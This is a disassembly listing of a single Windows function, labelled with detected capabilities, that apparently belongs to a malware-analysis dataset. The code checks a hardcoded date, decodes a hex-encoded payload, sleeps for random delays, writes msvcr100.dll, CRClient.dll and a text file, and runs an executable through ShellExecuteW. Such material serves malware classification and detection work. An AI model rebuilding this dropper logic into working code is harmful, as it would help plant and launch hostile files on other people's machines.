Function at 0x403910
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Encode data using base64
Schedule task via at
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433401
mov eax, dword fs:[0]
push eax
sub esp, 0x9a8
mov eax, dword [0x44600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x40], 0
call fcn.00403030
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x210]
call fcn.00403030
mov byte [ebp - 4], 1
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x204], str.a365
mov byte [ebp - 4], 2
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x190]
call fcn.00413990
mov byte [ebp - 4], 3
mov edx, eax
mov ecx, dword [0x448280]
call fcn.00408900
mov byte [ebp - 4], 2
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x184]
test eax, eax
je 0x4039d0
push eax
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x190]
call dword [eax + 0xc]
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x180], 0
mov byte [ebp - 4], 2
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x200]
mov dword [ebp - 0x3c], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x1f4]
test eax, eax
je 0x403a31
push eax
mov eax, dword [ebp - 0x200]
lea ecx, [ebp - 0x200]
call dword [eax + 0xc]
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1f0], 0
mov byte [ebp - 4], 6
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
call fcn.00405a10
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xc4]
push eax
call fcn.00402690
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x43c]
mov dword [ebp - 0x3c], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x430]
test eax, eax
je 0x403abb
push eax
mov eax, dword [ebp - 0x43c]
lea ecx, [ebp - 0x43c]
call dword [eax + 0xc]
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x42c], 0
mov byte [ebp - 4], 0xa
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
lea eax, [ebp - 0x478]
push 4
push eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
call fcn.00415b00
mov byte [ebp - 4], 0xd
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x403b21
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x403b21
mov ecx, dword [eax + 0x1c]
mov eax, str._aa_
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x403b4c
test dx, dx
je 0x403b48
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x403b4c
add ecx, 4
add eax, 4
test dx, dx
jne 0x403b26
xor esi, esi
jmp 0x403b51
sbb esi, esi
or esi, 1
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x468]
mov dword [ebp - 0x3c], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x45c]
test eax, eax
je 0x403b86
push eax
mov eax, dword [ebp - 0x468]
lea ecx, [ebp - 0x468]
call dword [eax + 0xc]
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x458], 0
mov byte [ebp - 4], 0xe
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
test esi, esi
jne 0x404a58
lea ecx, [ebp - 0x11c]
call fcn.00403030
mov byte [ebp - 4], 0x11
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x110], str.2022_10_1_20:01:12
mov byte [ebp - 4], 0x12
mov edi, 0x43be60
mov eax, dword [ebp - 0x110]
test eax, eax
jne 0x403c0d
cmp dword [ebp - 0xf8], esi
mov eax, edi
cmovne eax, dword [ebp - 0x100]
mov ecx, eax
call fcn.00416310
movsd qword [ebp - 0x98], xmm0
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x3c], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x100]
test eax, eax
je 0x403c51
push eax
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x10c]
call dword [eax + 0xc]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xfc], 0
mov byte [ebp - 4], 0x14
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
call fcn.00416720
movsd xmm1, qword [ebp - 0x98]
comisd xmm1, xmm0
jbe 0x403db8
lea ecx, [ebp - 0x23c]
call fcn.00403030
mov byte [ebp - 4], 0x17
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x230], 0x43d510
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x1ac]
call fcn.00413990
mov byte [ebp - 4], 0x19
mov edx, eax
mov ecx, dword [0x448280]
call fcn.00408900
mov byte [ebp - 4], 0x18
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x1a0]
test eax, eax
je 0x403d18
push eax
mov eax, dword [ebp - 0x1ac]
lea ecx, [ebp - 0x1ac]
call dword [eax + 0xc]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x19c], 0
mov byte [ebp - 4], 0x18
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x220]
test eax, eax
je 0x403d79
push eax
mov eax, dword [ebp - 0x22c]
lea ecx, [ebp - 0x22c]
call dword [eax + 0xc]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov byte [ebp - 4], 0x1c
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
jmp 0x405517
lea ecx, [ebp - 0x74c]
call fcn.0040b550
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x720]
push 4
push ecx
mov ecx, eax
call fcn.00415b00
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x6f4]
push 1
push ecx
mov ecx, eax
call fcn.004159e0
mov byte [ebp - 4], 0x21
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x403e03
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x403e03
mov ecx, dword [eax + 0x1c]
mov eax, 0x43d518
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x403e2e
test dx, dx
je 0x403e2a
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x403e2e
add ecx, 4
add eax, 4
test dx, dx
jne 0x403e08
xor esi, esi
jmp 0x403e33
sbb esi, esi
or esi, 1
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x6f4]
call fcn.00402700
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x720]
call fcn.00402700
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x74c]
call fcn.00402700
test esi, esi
je 0x405517
mov esi, dword [0x44835c]
add esi, 8
cmp dword [esi + 0x14], 0
jne 0x403eca
mov eax, dword [esi + 4]
mov dword [esi + 0x14], 1
test eax, eax
je 0x403e8c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esi + 8]
mov dword [esi + 0x10], 0
push eax
push 0
push esi
push 0x414bc0
push 0
push 0
mov dword [esi + 0x18], 0x40ba60
mov dword [esi + 0x1c], 0x448350
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
test eax, eax
jne 0x403eca
mov dword [esi + 0x14], eax
lea ecx, [ebp - 0x5d8]
call fcn.00403030
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x90]
call fcn.00403030
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x148]
call fcn.00403030
mov byte [ebp - 4], 0x24
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x13c], 0x43d51c
mov byte [ebp - 4], 0x25
mov esi, dword [ebp - 0xb8]
test esi, esi
je 0x403f31
lea ecx, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x403f20
sub esi, ecx
sar esi, 1
jmp 0x403f3e
mov esi, dword [ebp - 0xa0]
test esi, esi
je 0x403f3e
shr esi, 1
dec esi
mov eax, dword [ebp - 0x13c]
test eax, eax
jne 0x403f58
cmp dword [ebp - 0x124], 0
mov eax, edi
cmovne eax, dword [ebp - 0x12c]
sub esp, 0xc
lea ecx, [ebp - 0xc4]
push eax
call fcn.00415d20
sub esi, eax
lea ecx, [ebp - 0xc4]
dec esi
lea eax, [ebp - 0x778]
push esi
push eax
call fcn.00415b00
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x90]
push eax
call fcn.00402690
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x778]
call fcn.00402700
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x138]
mov dword [ebp - 0x3c], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x2a
mov eax, dword [ebp - 0x12c]
test eax, eax
je 0x403fd1
push eax
mov eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x138]
call dword [eax + 0xc]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
mov byte [ebp - 4], 0x28
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x84]
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
test ecx, ecx
je 0x404031
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404020
sub ecx, edx
sar ecx, 1
jmp 0x40403b
mov ecx, dword [ebp - 0x6c]
test ecx, ecx
je 0x40403b
shr ecx, 1
dec ecx
lea eax, [ecx - 7]
push eax
lea eax, [ebp - 0x7a4]
push eax
lea ecx, [ebp - 0x90]
call fcn.004159e0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x90]
push eax
call fcn.00402690
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x7a4]
call fcn.00402700
lea ecx, [ebp - 0x63c]
call fcn.00413910
mov esi, eax
mov dword [ebp - 0x38], esi
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x2c]
mov ebx, dword [ebp - 0x84]
mov dword [ebp - 0x48], edx
test ebx, ebx
jne 0x4040b6
cmp dword [ebp - 0x6c], ebx
jne 0x4040ab
mov ebx, 0x43be60
jmp 0x4040b6
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40417e
cmp word [ebx], 0
je 0x40417e
mov edi, ebx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x4040c5
sub edi, ecx
sar edi, 1
shr edi, 1
je 0x404179
mov esi, dword [esi + 0x14]
mov ecx, dword [ebp - 0x38]
lea eax, [esi + edi]
push eax
call fcn.004142a0
add eax, esi
push edi
mov esi, eax
mov dword [ebp - 0x44], eax
push 0
push esi
call fcn.004219d0
add esp, 0xc
nop
movzx ecx, word [ebx]
mov edx, ecx
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x404113
sub cl, 0x30
jmp 0x404132
lea eax, [edx - 0x41]
cmp ax, 5
ja 0x404121
sub cl, 0x37
jmp 0x404132
lea eax, [edx - 0x61]
cmp ax, 5
ja 0x40412f
sub cl, 0x57
jmp 0x404132
or cl, 0xff
movzx edx, word [ebx + 2]
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x404144
sub dl, 0x30
jmp 0x404163
lea eax, [edx - 0x41]
cmp ax, 5
ja 0x404152
sub dl, 0x37
jmp 0x404163
lea eax, [edx - 0x61]
cmp ax, 5
ja 0x404160
sub dl, 0x57
jmp 0x404163
or dl, 0xff
shl cl, 4
add ebx, 4
or cl, dl
mov byte [esi], cl
inc esi
sub edi, 1
jne 0x404100
mov esi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x48]
mov edi, 0x43be60
push edx
mov edx, esi
lea ecx, [ebp - 0x620]
call fcn.00405910
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x64]
push eax
call fcn.00402ac0
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, 4
jl 0x4041bf
mov eax, dword [ebp - 0x58]
mov dword [eax + esi], 0
mov eax, dword [ebp - 0x50]
add eax, 4
mov dword [ebp - 0x50], eax
jmp 0x4041d5
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0x64]
call fcn.004142a0
mov dword [eax + esi], 0
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x58]
xor ecx, ecx
test eax, eax
cmove edx, ecx
lea ecx, [ebp - 0x604]
call fcn.00403030
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x604]
push edx
mov dword [ebp - method.CWString.virtual_0], vtable.CWString.0
call fcn.004156e0
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0x40], 2
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0x64], vtable.CVolMem.0
mov byte [ebp - 4], 0x31
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x40422f
push eax
mov eax, dword [ebp - 0x64]
lea ecx, [ebp - 0x64]
call dword [eax + 0xc]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x604]
push eax
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x64], vtable.CVolObject.0
call fcn.00402690
mov eax, 2
mov dword [ebp - 0x40], eax
and eax, 0xfffffffd
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x604]
call fcn.00402700
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x620]
call fcn.00402fb0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x63c]
call fcn.00402fb0
lea ecx, [ebp - 0x174]
call fcn.00403030
mov byte [ebp - 4], 0x32
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x168], 0x43d5f0
mov byte [ebp - 4], 0x33
mov esi, dword [ebp - 0x84]
test esi, esi
je 0x4042e1
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4042d0
sub esi, ecx
sar esi, 1
jmp 0x4042eb
mov esi, dword [ebp - 0x6c]
test esi, esi
je 0x4042eb
shr esi, 1
dec esi
mov eax, dword [ebp - 0x168]
test eax, eax
jne 0x404304
cmp dword [ebp - 0x150], eax
cmovne edi, dword [ebp - 0x158]
mov eax, edi
sub esp, 0xc
lea ecx, [ebp - 0x90]
push eax
call fcn.00415d20
sub esi, eax
lea ecx, [ebp - 0x90]
dec esi
lea eax, [ebp - 0x7d0]
push esi
push eax
call fcn.00415b00
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x5d8]
push eax
call fcn.00402690
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x7d0]
call fcn.00402700
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x164]
mov dword [ebp - 0x3c], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x38
mov eax, dword [ebp - 0x158]
test eax, eax
je 0x40437d
push eax
mov eax, dword [ebp - 0x164]
lea ecx, [ebp - 0x164]
call dword [eax + 0xc]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x154], 0
mov byte [ebp - 4], 0x36
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x84]
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
test ecx, ecx
je 0x4043d5
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4043c4
sub ecx, edx
sar ecx, 1
jmp 0x4043df
mov ecx, dword [ebp - 0x6c]
test ecx, ecx
je 0x4043df
shr ecx, 1
dec ecx
mov edx, dword [ebp - 0x5cc]
test edx, edx
je 0x404401
lea esi, [edx + 2]
nop dword [eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4043f0
sub edx, esi
sar edx, 1
jmp 0x40440e
mov edx, dword [ebp - 0x5b4]
test edx, edx
je 0x40440e
shr edx, 1
dec edx
sub ecx, edx
lea eax, [ebp - 0x7fc]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.004159e0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x90]
push eax
call fcn.00402690
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x7fc]
call fcn.00402700
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412fc0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call esi
lea eax, [ebp - 0x5d8]
push eax
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x854]
call fcn.00415e60
mov byte [ebp - 4], 0x3a
mov edx, eax
push 0x43d520
lea ecx, [ebp - 0x828]
call fcn.00415fd0
add esp, 8
mov byte [ebp - 4], 0x3b
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x4044a3
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x4044a3
mov ecx, dword [eax + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call edi
mov ebx, eax
mov dword [ebp - 0x44], ebx
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x828]
call fcn.00402700
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x854]
call fcn.00402700
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412fc0
push eax
call esi
lea ecx, [ebp - 0x658]
call fcn.00405810
mov byte [ebp - 4], 0x3c
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x40450d
xor eax, eax
jmp 0x404510
mov eax, dword [eax + 0xc]
push 0
lea edx, [ebp - 0x48]
mov dword [ebp - 0x48], 0
push edx
push ecx
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
call ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x658]
call fcn.00402fb0
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412fc0
push eax
call esi
push 0x43d52c
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x880]
call fcn.00415fd0
add esp, 4
mov byte [ebp - 4], 0x3d
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x404583
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x404583
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call edi
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x880]
call fcn.00402700
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412fc0
push eax
call esi
lea ecx, [ebp - 0x674]
call fcn.004056b0
mov byte [ebp - 4], 0x3e
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x4045d6
xor eax, eax
jmp 0x4045d9
mov eax, dword [eax + 0xc]
push 0
lea edx, [ebp - 0x44]
mov dword [ebp - 0x44], 0
push edx
push ecx
push eax
push dword [ebp - 0x38]
call ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x674]
call fcn.00402fb0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call esi
push str.msvcr100.dll
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x8ac]
call fcn.00415fd0
add esp, 4
mov byte [ebp - 4], 0x3f
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40463d
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x40463d
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call edi
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8ac]
call fcn.00402700
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412fc0
push eax
call esi
lea ecx, [ebp - 0x690]
call fcn.00405760
mov byte [ebp - 4], 0x40
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x404690
xor eax, eax
jmp 0x404693
mov eax, dword [eax + 0xc]
push 0
lea edx, [ebp - 0x94]
mov dword [ebp - 0x94], 0
push edx
push ecx
push eax
push dword [ebp - 0x38]
call ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x690]
call fcn.00402fb0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call esi
push str.CRClient.dll
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x8d8]
call fcn.00415fd0
add esp, 4
mov byte [ebp - 4], 0x41
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x4046fd
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x4046fd
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call edi
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8d8]
call fcn.00402700
mov edx, 0x7d0
mov ecx, 0x3e8
call fcn.00412fc0
push eax
call esi
lea ecx, [ebp - 0x6ac]
call fcn.004055b0
mov byte [ebp - 4], 0x42
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x404750
xor eax, eax
jmp 0x404753
mov eax, dword [eax + 0xc]
push 0
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
push edx
push ecx
push eax
push dword [ebp - 0x38]
call ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x6ac]
call fcn.00402fb0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call esi
lea eax, [ebp - 0x5d8]
push eax
lea edx, [ebp - 0x90]
lea ecx, [ebp - 0x930]
call fcn.00415e60
mov byte [ebp - 4], 0x43
mov edx, eax
push str..txt
lea ecx, [ebp - 0x904]
call fcn.00415fd0
add esp, 8
mov byte [ebp - 4], 0x44
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x4047cf
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x4047cf
mov ecx, dword [eax + 0x1c]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call edi
mov edi, eax
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x904]
call fcn.00402700
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x930]
call fcn.00402700
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x404812
xor eax, eax
jmp 0x404815
mov eax, dword [eax + 0xc]
push 0
lea edx, [ebp - 0x38]
mov dword [ebp - 0x38], 0
push edx
push ecx
push eax
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x268]
call fcn.00403030
mov byte [ebp - 4], 0x45
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x25c], 0x43be60
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x6c8]
call fcn.00413990
mov byte [ebp - 4], 0x47
mov edx, eax
mov ecx, dword [0x448280]
call fcn.00408900
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x6c8]
call fcn.00402fb0
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0x258]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x4b
mov eax, dword [ebp - 0x24c]
test eax, eax
je 0x4048bc
push eax
mov eax, dword [ebp - 0x258]
lea ecx, [ebp - 0x258]
call dword [eax + 0xc]
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0
mov byte [ebp - 4], 0x49
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x23
push 0x5669
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
call esi
lea ecx, [ebp - 0x294]
call fcn.00403030
mov byte [ebp - 4], 0x4c
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x288], 0x43d598
mov byte [ebp - 4], 0x4d
lea eax, [ebp - 0x90]
push eax
lea edx, [ebp - 0x294]
lea ecx, [ebp - 0x9b4]
call fcn.00415e60
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x5d8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x988]
call fcn.00415e60
mov byte [ebp - 4], 0x4f
mov edx, eax
push str..exe_
lea ecx, [ebp - 0x95c]
call fcn.00415fd0
add esp, 0xc
mov byte [ebp - 4], 0x50
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x404985
cmp dword [eax + 0x24], ecx
mov ecx, 0x43be60
je 0x404985
mov ecx, dword [eax + 0x1c]
push 5
push 0
push 0
push ecx
push 0x43d59c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x95c]
call fcn.00402700
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x988]
call fcn.00402700
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x9b4]
call fcn.00402700
mov byte [ebp - 4], 0x52
lea eax, [ebp - 0x284]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CWString.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x54
mov eax, dword [ebp - 0x278]
test eax, eax
je 0x4049fb
push eax
mov eax, dword [ebp - 0x284]
lea ecx, [ebp - 0x284]
call dword [eax + 0xc]
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x274], 0
mov byte [ebp - 4], 0x52
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x23
mov dword [ebp - method.CWString.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x90]
call fcn.00402700
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x5d8]
call fcn.00402700
jmp 0x405517
lea ecx, [ebp - 0xf0]
call fcn.00403030
mov byte [ebp - 4], 0x8f
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push eax
mov dword [0x4483b0], 1
call fcn.00424ca9
add esp, 4
cmp dword [0x4483b0], 0
jne 0x404aa0
mov dword [0x4483b0], 1
call esi
push eax
call fcn.00424ca9
add esp, 4
call fcn.00424c88
cdq
lea ecx, [ebp - 0x580]
mov ebx, 6
idiv ebx
add edx, 5
call fcn.0040ce70
mov edi, eax
mov byte [ebp - 4], 0x90
cmp dword [0x4483b0], 0
jne 0x404adf
mov dword [0x4483b0], 1
call esi
push eax
call fcn.00424ca9
add esp, 4
call fcn.00424c88
cdq
lea ecx, [ebp - 0x554]
idiv ebx
add edx, 5
call fcn.0040ce70
mov edx, eax
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x2c0]
call fcn.00403030
mov byte [ebp - 4], 0x92
mov dword [ebp - method.CWString.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x2b4], 0x43d5ac
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x528]
push edx
lea edx, [ebp - 0x2c0]
call fcn.00415e60
mov byte [ebp - 4], 0x94
mov edx, eax
push 0x43d5a8
lea ecx, [ebp - 0x4fc]
call fcn.00415fd0
mov byte [ebp - 4], 0x95
mov edx, eax
push edi
lea ecx, [ebp - 0x4d0]
call fcn.00415e60
mov byte [ebp - 4], 0x96
mov edx, eax
push 0x43d5f0
lea ecx, [ebp - 0x4a4]
call fcn.00415fd0
add esp, 0x10
